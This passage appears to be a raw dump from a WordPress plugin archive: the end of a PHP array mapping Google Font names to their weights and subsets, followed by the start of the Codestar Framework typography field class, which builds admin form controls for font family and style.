      'Quintessential'=>[['normal'],['latin','latin-ext']],
      'Qwigley'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Qwitcher Grypen'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'Racing Sans One'=>[['normal'],['latin','latin-ext']],
      'Radio Canada'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Radley'=>[['normal','italic'],['latin','latin-ext']],
      'Rajdhani'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Rakkas'=>[['normal'],['arabic','latin','latin-ext']],
      'Raleway'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Raleway Dots'=>[['normal'],['latin','latin-ext']],
      'Ramabhadra'=>[['normal'],['latin','telugu']],
      'Ramaraja'=>[['normal'],['latin','telugu']],
      'Rambla'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Rammetto One'=>[['normal'],['latin','latin-ext']],
      'Rampart One'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Ranchers'=>[['normal'],['latin','latin-ext']],
      'Rancho'=>[['normal'],['latin']],
      'Ranga'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Rasa'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['gujarati','latin','latin-ext','vietnamese']],
      'Rationale'=>[['normal'],['latin']],
      'Ravi Prakash'=>[['normal'],['latin','telugu']],
      'Readex Pro'=>[['200','300','normal','500','600','700'],['arabic','latin','latin-ext','vietnamese']],
      'Recursive'=>[['300','normal','500','600','700','800','900'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Red Hat Display'=>[['300','normal','500','600','700','800','900','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'Red Hat Mono'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext']],
      'Red Hat Text'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext']],
      'Red Rose'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Redacted'=>[['normal'],['latin','latin-ext']],
      'Redacted Script'=>[['300','normal','700'],['latin','latin-ext']],
      'Redressed'=>[['normal'],['latin']],
      'Reem Kufi'=>[['normal','500','600','700'],['arabic','latin']],
      'Reem Kufi Fun'=>[['normal','500','600','700'],['arabic','latin','latin-ext','vietnamese']],
      'Reem Kufi Ink'=>[['normal'],['arabic','latin','latin-ext','vietnamese']],
      'Reenie Beanie'=>[['normal'],['latin']],
      'Reggae One'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Revalia'=>[['normal'],['latin','latin-ext']],
      'Rhodium Libre'=>[['normal'],['devanagari','latin','latin-ext']],
      'Ribeye'=>[['normal'],['latin','latin-ext']],
      'Ribeye Marrow'=>[['normal'],['latin','latin-ext']],
      'Righteous'=>[['normal'],['latin','latin-ext']],
      'Risque'=>[['normal'],['latin','latin-ext']],
      'Road Rage'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Roboto'=>[['100','100italic','300','300italic','normal','italic','500','500italic','700','700italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Roboto Condensed'=>[['300','300italic','normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Roboto Flex'=>[['normal'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Roboto Mono'=>[['100','200','300','normal','500','600','700','100italic','200italic','300italic','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Roboto Serif'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Roboto Slab'=>[['100','200','300','normal','500','600','700','800','900'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Rochester'=>[['normal'],['latin']],
      'Rock Salt'=>[['normal'],['latin']],
      'RocknRoll One'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Rokkitt'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Romanesco'=>[['normal'],['latin','latin-ext']],
      'Ropa Sans'=>[['normal','italic'],['latin','latin-ext']],
      'Rosario'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Rosarivo'=>[['normal','italic'],['latin','latin-ext']],
      'Rouge Script'=>[['normal'],['latin']],
      'Rowdies'=>[['300','normal','700'],['latin','latin-ext','vietnamese']],
      'Rozha One'=>[['normal'],['devanagari','latin','latin-ext']],
      'Rubik'=>[['300','normal','500','600','700','800','900','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Beastly'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Bubbles'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Burned'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Dirt'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Distressed'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Glitch'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Iso'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Marker Hatch'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Maze'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Microbe'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Mono One'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Rubik Moonrocks'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Puddles'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Wet Paint'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Ruda'=>[['normal','500','600','700','800','900'],['cyrillic','latin','latin-ext','vietnamese']],
      'Rufina'=>[['normal','700'],['latin','latin-ext']],
      'Ruge Boogie'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Ruluko'=>[['normal'],['latin','latin-ext']],
      'Rum Raisin'=>[['normal'],['latin','latin-ext']],
      'Ruslan Display'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Russo One'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Ruthie'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Rye'=>[['normal'],['latin','latin-ext']],
      'STIX Two Text'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Sacramento'=>[['normal'],['latin','latin-ext']],
      'Sahitya'=>[['normal','700'],['devanagari','latin']],
      'Sail'=>[['normal'],['latin','latin-ext']],
      'Saira'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Saira Condensed'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Saira Extra Condensed'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Saira Semi Condensed'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Saira Stencil One'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Salsa'=>[['normal'],['latin']],
      'Sanchez'=>[['normal','italic'],['latin','latin-ext']],
      'Sancreek'=>[['normal'],['latin','latin-ext']],
      'Sansita'=>[['normal','italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext']],
      'Sansita Swashed'=>[['300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Sarabun'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic'],['latin','latin-ext','thai','vietnamese']],
      'Sarala'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Sarina'=>[['normal'],['latin','latin-ext']],
      'Sarpanch'=>[['normal','500','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Sassy Frass'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Satisfy'=>[['normal'],['latin']],
      'Sawarabi Gothic'=>[['normal'],['cyrillic','japanese','latin','latin-ext','vietnamese']],
      'Sawarabi Mincho'=>[['normal'],['japanese','latin','latin-ext']],
      'Scada'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Scheherazade New'=>[['normal','700'],['arabic','latin','latin-ext']],
      'Schoolbell'=>[['normal'],['latin']],
      'Scope One'=>[['normal'],['latin','latin-ext']],
      'Seaweed Script'=>[['normal'],['latin','latin-ext']],
      'Secular One'=>[['normal'],['hebrew','latin','latin-ext']],
      'Sedgwick Ave'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Sedgwick Ave Display'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Sen'=>[['normal','700','800'],['latin','latin-ext']],
      'Send Flowers'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Sevillana'=>[['normal'],['latin','latin-ext']],
      'Seymour One'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Shadows Into Light'=>[['normal'],['latin']],
      'Shadows Into Light Two'=>[['normal'],['latin','latin-ext']],
      'Shalimar'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Shanti'=>[['normal'],['latin']],
      'Share'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Share Tech'=>[['normal'],['latin']],
      'Share Tech Mono'=>[['normal'],['latin']],
      'Shippori Antique'=>[['normal'],['japanese','latin','latin-ext']],
      'Shippori Antique B1'=>[['normal'],['japanese','latin','latin-ext']],
      'Shippori Mincho'=>[['normal','500','600','700','800'],['japanese','latin','latin-ext']],
      'Shippori Mincho B1'=>[['normal','500','600','700','800'],['japanese','latin','latin-ext']],
      'Shojumaru'=>[['normal'],['latin','latin-ext']],
      'Short Stack'=>[['normal'],['latin']],
      'Shrikhand'=>[['normal'],['gujarati','latin','latin-ext']],
      'Siemreap'=>[['normal'],['khmer']],
      'Sigmar One'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Signika'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Signika Negative'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Silkscreen'=>[['normal','700'],['latin','latin-ext']],
      'Simonetta'=>[['normal','italic','900','900italic'],['latin','latin-ext']],
      'Single Day'=>[['normal'],['korean']],
      'Sintony'=>[['normal','700'],['latin','latin-ext']],
      'Sirin Stencil'=>[['normal'],['latin']],
      'Six Caps'=>[['normal'],['latin']],
      'Skranji'=>[['normal','700'],['latin','latin-ext']],
      'Slabo 13px'=>[['normal'],['latin','latin-ext']],
      'Slabo 27px'=>[['normal'],['latin','latin-ext']],
      'Slackey'=>[['normal'],['latin']],
      'Smokum'=>[['normal'],['latin']],
      'Smooch'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Smooch Sans'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Smythe'=>[['normal'],['latin']],
      'Sniglet'=>[['normal','800'],['latin','latin-ext']],
      'Snippet'=>[['normal'],['latin']],
      'Snowburst One'=>[['normal'],['latin','latin-ext']],
      'Sofadi One'=>[['normal'],['latin']],
      'Sofia'=>[['normal'],['latin']],
      'Solway'=>[['300','normal','500','700','800'],['latin']],
      'Song Myung'=>[['normal'],['korean','latin']],
      'Sono'=>[['200','300','normal','500','600','700','800'],['latin','latin-ext','vietnamese']],
      'Sonsie One'=>[['normal'],['latin','latin-ext']],
      'Sora'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext']],
      'Sorts Mill Goudy'=>[['normal','italic'],['latin','latin-ext']],
      'Source Code Pro'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Source Sans 3'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Source Sans Pro'=>[['200','200italic','300','300italic','normal','italic','600','600italic','700','700italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Source Serif 4'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Source Serif Pro'=>[['200','200italic','300','300italic','normal','italic','600','600italic','700','700italic','900','900italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Space Grotesk'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Space Mono'=>[['normal','italic','700','700italic'],['latin','latin-ext','vietnamese']],
      'Special Elite'=>[['normal'],['latin']],
      'Spectral'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'Spectral SC'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'Spicy Rice'=>[['normal'],['latin']],
      'Spinnaker'=>[['normal'],['latin','latin-ext']],
      'Spirax'=>[['normal'],['latin']],
      'Splash'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Spline Sans'=>[['300','normal','500','600','700'],['latin','latin-ext']],
      'Spline Sans Mono'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext']],
      'Squada One'=>[['normal'],['latin']],
      'Square Peg'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Sree Krushnadevaraya'=>[['normal'],['latin','telugu']],
      'Sriracha'=>[['normal'],['latin','latin-ext','thai','vietnamese']],
      'Srisakdi'=>[['normal','700'],['latin','latin-ext','thai','vietnamese']],
      'Staatliches'=>[['normal'],['latin','latin-ext']],
      'Stalemate'=>[['normal'],['latin','latin-ext']],
      'Stalinist One'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Stardos Stencil'=>[['normal','700'],['latin']],
      'Stick'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Stick No Bills'=>[['200','300','normal','500','600','700','800'],['latin','latin-ext','sinhala']],
      'Stint Ultra Condensed'=>[['normal'],['latin','latin-ext']],
      'Stint Ultra Expanded'=>[['normal'],['latin','latin-ext']],
      'Stoke'=>[['300','normal'],['latin','latin-ext']],
      'Strait'=>[['normal'],['latin']],
      'Style Script'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Stylish'=>[['normal'],['korean','latin']],
      'Sue Ellen Francisco'=>[['normal'],['latin']],
      'Suez One'=>[['normal'],['hebrew','latin','latin-ext']],
      'Sulphur Point'=>[['300','normal','700'],['latin','latin-ext']],
      'Sumana'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Sunflower'=>[['300','500','700'],['korean','latin']],
      'Sunshiney'=>[['normal'],['latin']],
      'Supermercado One'=>[['normal'],['latin']],
      'Sura'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Suranna'=>[['normal'],['latin','telugu']],
      'Suravaram'=>[['normal'],['latin','telugu']],
      'Suwannaphum'=>[['100','300','normal','700','900'],['khmer','latin']],
      'Swanky and Moo Moo'=>[['normal'],['latin']],
      'Syncopate'=>[['normal','700'],['latin']],
      'Syne'=>[['normal','500','600','700','800'],['greek','latin','latin-ext']],
      'Syne Mono'=>[['normal'],['latin','latin-ext']],
      'Syne Tactile'=>[['normal'],['latin','latin-ext']],
      'Tai Heritage Pro'=>[['normal','700'],['latin','latin-ext','tai-viet','vietnamese']],
      'Tajawal'=>[['200','300','normal','500','700','800','900'],['arabic','latin']],
      'Tangerine'=>[['normal','700'],['latin']],
      'Tapestry'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Taprom'=>[['normal'],['khmer','latin']],
      'Tauri'=>[['normal'],['latin','latin-ext']],
      'Taviraj'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','thai','vietnamese']],
      'Teko'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Telex'=>[['normal'],['latin','latin-ext']],
      'Tenali Ramakrishna'=>[['normal'],['latin','telugu']],
      'Tenor Sans'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Text Me One'=>[['normal'],['latin','latin-ext']],
      'Texturina'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Thasadith'=>[['normal','italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'The Girl Next Door'=>[['normal'],['latin']],
      'The Nautigal'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'Tienne'=>[['normal','700','900'],['latin']],
      'Tillana'=>[['normal','500','600','700','800'],['devanagari','latin','latin-ext']],
      'Timmana'=>[['normal'],['latin','telugu']],
      'Tinos'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','hebrew','latin','latin-ext','vietnamese']],
      'Tiro Bangla'=>[['normal','italic'],['bengali','latin','latin-ext']],
      'Tiro Devanagari Hindi'=>[['normal','italic'],['devanagari','latin','latin-ext']],
      'Tiro Devanagari Marathi'=>[['normal','italic'],['devanagari','latin','latin-ext']],
      'Tiro Devanagari Sanskrit'=>[['normal','italic'],['devanagari','latin','latin-ext']],
      'Tiro Gurmukhi'=>[['normal','italic'],['gurmukhi','latin','latin-ext']],
      'Tiro Kannada'=>[['normal','italic'],['kannada','latin','latin-ext']],
      'Tiro Tamil'=>[['normal','italic'],['latin','latin-ext','tamil']],
      'Tiro Telugu'=>[['normal','italic'],['latin','latin-ext','telugu']],
      'Titan One'=>[['normal'],['latin','latin-ext']],
      'Titillium Web'=>[['200','200italic','300','300italic','normal','italic','600','600italic','700','700italic','900'],['latin','latin-ext']],
      'Tomorrow'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext']],
      'Tourney'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Trade Winds'=>[['normal'],['latin']],
      'Train One'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Trirong'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','thai','vietnamese']],
      'Trispace'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext','vietnamese']],
      'Trocchi'=>[['normal'],['latin','latin-ext']],
      'Trochut'=>[['normal','italic','700'],['latin']],
      'Truculenta'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Trykker'=>[['normal'],['latin','latin-ext']],
      'Tulpen One'=>[['normal'],['latin']],
      'Turret Road'=>[['200','300','normal','500','700','800'],['latin','latin-ext']],
      'Twinkle Star'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Ubuntu'=>[['300','300italic','normal','italic','500','500italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext']],
      'Ubuntu Condensed'=>[['normal'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext']],
      'Ubuntu Mono'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext']],
      'Uchen'=>[['normal'],['latin','tibetan']],
      'Ultra'=>[['normal'],['latin']],
      'Uncial Antiqua'=>[['normal'],['latin']],
      'Underdog'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Unica One'=>[['normal'],['latin','latin-ext']],
      'UnifrakturCook'=>[['700'],['latin']],
      'UnifrakturMaguntia'=>[['normal'],['latin']],
      'Unkempt'=>[['normal','700'],['latin']],
      'Unlock'=>[['normal'],['latin']],
      'Unna'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Updock'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Urbanist'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'VT323'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Vampiro One'=>[['normal'],['latin','latin-ext']],
      'Varela'=>[['normal'],['latin','latin-ext']],
      'Varela Round'=>[['normal'],['hebrew','latin','latin-ext','vietnamese']],
      'Varta'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Vast Shadow'=>[['normal'],['latin']],
      'Vazirmatn'=>[['100','200','300','normal','500','600','700','800','900'],['arabic','latin','latin-ext']],
      'Vesper Libre'=>[['normal','500','700','900'],['devanagari','latin','latin-ext']],
      'Viaoda Libre'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Vibes'=>[['normal'],['arabic','latin']],
      'Vibur'=>[['normal'],['latin']],
      'Vidaloka'=>[['normal'],['latin']],
      'Viga'=>[['normal'],['latin','latin-ext']],
      'Voces'=>[['normal'],['latin','latin-ext']],
      'Volkhov'=>[['normal','italic','700','700italic'],['latin']],
      'Vollkorn'=>[['normal','500','600','700','800','900','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Vollkorn SC'=>[['normal','600','700','900'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Voltaire'=>[['normal'],['latin']],
      'Vujahday Script'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Waiting for the Sunrise'=>[['normal'],['latin']],
      'Wallpoet'=>[['normal'],['latin']],
      'Walter Turncoat'=>[['normal'],['latin']],
      'Warnes'=>[['normal'],['latin','latin-ext']],
      'Water Brush'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Waterfall'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Wellfleet'=>[['normal'],['latin','latin-ext']],
      'Wendy One'=>[['normal'],['latin','latin-ext']],
      'Whisper'=>[['normal'],['latin','latin-ext','vietnamese']],
      'WindSong'=>[['normal','500'],['latin','latin-ext','vietnamese']],
      'Wire One'=>[['normal'],['latin']],
      'Work Sans'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Xanh Mono'=>[['normal','italic'],['latin','latin-ext','vietnamese']],
      'Yaldevi'=>[['200','300','normal','500','600','700'],['latin','latin-ext','sinhala']],
      'Yanone Kaffeesatz'=>[['200','300','normal','500','600','700'],['cyrillic','latin','latin-ext','vietnamese']],
      'Yantramanav'=>[['100','300','normal','500','700','900'],['devanagari','latin','latin-ext']],
      'Yatra One'=>[['normal'],['devanagari','latin','latin-ext']],
      'Yellowtail'=>[['normal'],['latin']],
      'Yeon Sung'=>[['normal'],['korean','latin']],
      'Yeseva One'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Yesteryear'=>[['normal'],['latin']],
      'Yomogi'=>[['normal'],['cyrillic','japanese','latin','latin-ext','vietnamese']],
      'Yrsa'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Yuji Boku'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Yuji Mai'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Yuji Syuku'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Yusei Magic'=>[['normal'],['japanese','latin','latin-ext']],
      'ZCOOL KuaiLe'=>[['normal'],['chinese-simplified','latin']],
      'ZCOOL QingKe HuangYou'=>[['normal'],['chinese-simplified','latin']],
      'ZCOOL XiaoWei'=>[['normal'],['chinese-simplified','latin']],
      'Zen Antique'=>[['normal'],['cyrillic','greek','japanese','latin','latin-ext']],
      'Zen Antique Soft'=>[['normal'],['cyrillic','greek','japanese','latin','latin-ext']],
      'Zen Dots'=>[['normal'],['latin','latin-ext']],
      'Zen Kaku Gothic Antique'=>[['300','normal','500','700','900'],['cyrillic','japanese','latin','latin-ext']],
      'Zen Kaku Gothic New'=>[['300','normal','500','700','900'],['cyrillic','japanese','latin','latin-ext']],
      'Zen Kurenaido'=>[['normal'],['cyrillic','greek','japanese','latin','latin-ext']],
      'Zen Loop'=>[['normal','italic'],['latin','latin-ext']],
      'Zen Maru Gothic'=>[['300','normal','500','700','900'],['cyrillic','greek','japanese','latin','latin-ext']],
      'Zen Old Mincho'=>[['normal','500','600','700','900'],['cyrillic','greek','japanese','latin','latin-ext']],
      'Zen Tokyo Zoo'=>[['normal'],['latin','latin-ext']],
      'Zeyada'=>[['normal'],['latin']],
      'Zhi Mang Xing'=>[['normal'],['chinese-simplified','latin']],
      'Zilla Slab'=>[['300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext']],
      'Zilla Slab Highlight'=>[['normal','700'],['latin','latin-ext']],
    ];
  }
}
PK     2w\yZ  Z  2  options/framework/fields/typography/typography.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: typography
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_typography' ) ) {
  class CSF_Field_typography extends CSF_Fields {

    public $chosen = false;

    public $value  = array();

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      echo $this->field_before();

      $args                  = wp_parse_args( $this->field, array(
        'font_family'        => true,
        'font_weight'        => true,
        'font_style'         => true,
        'font_size'          => true,
        'line_height'        => true,
        'letter_spacing'     => true,
        'text_align'         => true,
        'text_transform'     => true,
        'color'              => true,
        'chosen'             => true,
        'preview'            => true,
        'subset'             => true,
        'multi_subset'       => false,
        'extra_styles'       => false,
        'backup_font_family' => false,
        'font_variant'       => false,
        'word_spacing'       => false,
        'text_decoration'    => false,
        'custom_style'       => false,
        'compact'            => false,
        'exclude'            => '',
        'unit'               => 'px',
        'line_height_unit'   => '',
        'preview_text'       => 'The quick brown fox jumps over the lazy dog',
      ) );

      if ( $args['compact'] ) {
        $args['text_transform'] = false;
        $args['text_align']     = false;
        $args['font_size']      = false;
        $args['line_height']    = false;
        $args['letter_spacing'] = false;
        $args['preview']        = false;
        $args['color']          = false;
      }

      $default_value         = array(
        'font-family'        => '',
        'font-weight'        => '',
        'font-style'         => '',
        'font-variant'       => '',
        'font-size'          => '',
        'line-height'        => '',
        'letter-spacing'     => '',
        'word-spacing'       => '',
        'text-align'         => '',
        'text-transform'     => '',
        'text-decoration'    => '',
        'backup-font-family' => '',
        'color'              => '',
        'custom-style'       => '',
        'type'               => '',
        'subset'             => '',
        'extra-styles'       => array(),
      );

      $default_value    = ( ! empty( $this->field['default'] ) ) ? wp_parse_args( $this->field['default'], $default_value ) : $default_value;
      $this->value      = wp_parse_args( $this->value, $default_value );
      $this->chosen     = $args['chosen'];
      $chosen_class     = ( $this->chosen ) ? ' csf--chosen' : '';
      $line_height_unit = ( ! empty( $args['line_height_unit'] ) ) ? $args['line_height_unit'] : $args['unit'];

      echo '<div class="csf--typography'. esc_attr( $chosen_class ) .'" data-depend-id="'. esc_attr( $this->field['id'] ) .'" data-unit="'. esc_attr( $args['unit'] ) .'" data-line-height-unit="'. esc_attr( $line_height_unit ) .'" data-exclude="'. esc_attr( $args['exclude'] ) .'">';

        echo '<div class="csf--blocks csf--blocks-selects">';

          //
          // Font Family
          if ( ! empty( $args['font_family'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Font Family', 'csf' ) .'</div>';
            echo $this->create_select( array( $this->value['font-family'] => $this->value['font-family'] ), 'font-family', esc_html__( 'Select a font', 'csf' ) );
            echo '</div>';
          }

          //
          // Backup Font Family
          if ( ! empty( $args['backup_font_family'] ) ) {
            echo '<div class="csf--block csf--block-backup-font-family hidden">';
            echo '<div class="csf--title">'. esc_html__( 'Backup Font Family', 'csf' ) .'</div>';
            echo $this->create_select( apply_filters( 'csf_field_typography_backup_font_family', array(
              'Arial, Helvetica, sans-serif',
              "'Arial Black', Gadget, sans-serif",
              "'Comic Sans MS', cursive, sans-serif",
              'Impact, Charcoal, sans-serif',
              "'Lucida Sans Unicode', 'Lucida Grande', sans-serif",
              'Tahoma, Geneva, sans-serif',
              "'Trebuchet MS', Helvetica, sans-serif",
              'Verdana, Geneva, sans-serif',
              "'Courier New', Courier, monospace",
              "'Lucida Console', Monaco, monospace",
              'Georgia, serif',
              'Palatino Linotype'
            ) ), 'backup-font-family', esc_html__( 'Default', 'csf' ) );
            echo '</div>';
          }

          //
          // Font Style and Extra Style Select
          if ( ! empty( $args['font_weight'] ) || ! empty( $args['font_style'] ) ) {

            //
            // Font Style Select
            echo '<div class="csf--block csf--block-font-style hidden">';
            echo '<div class="csf--title">'. esc_html__( 'Font Style', 'csf') .'</div>';
            echo '<select class="csf--font-style-select" data-placeholder="Default">';
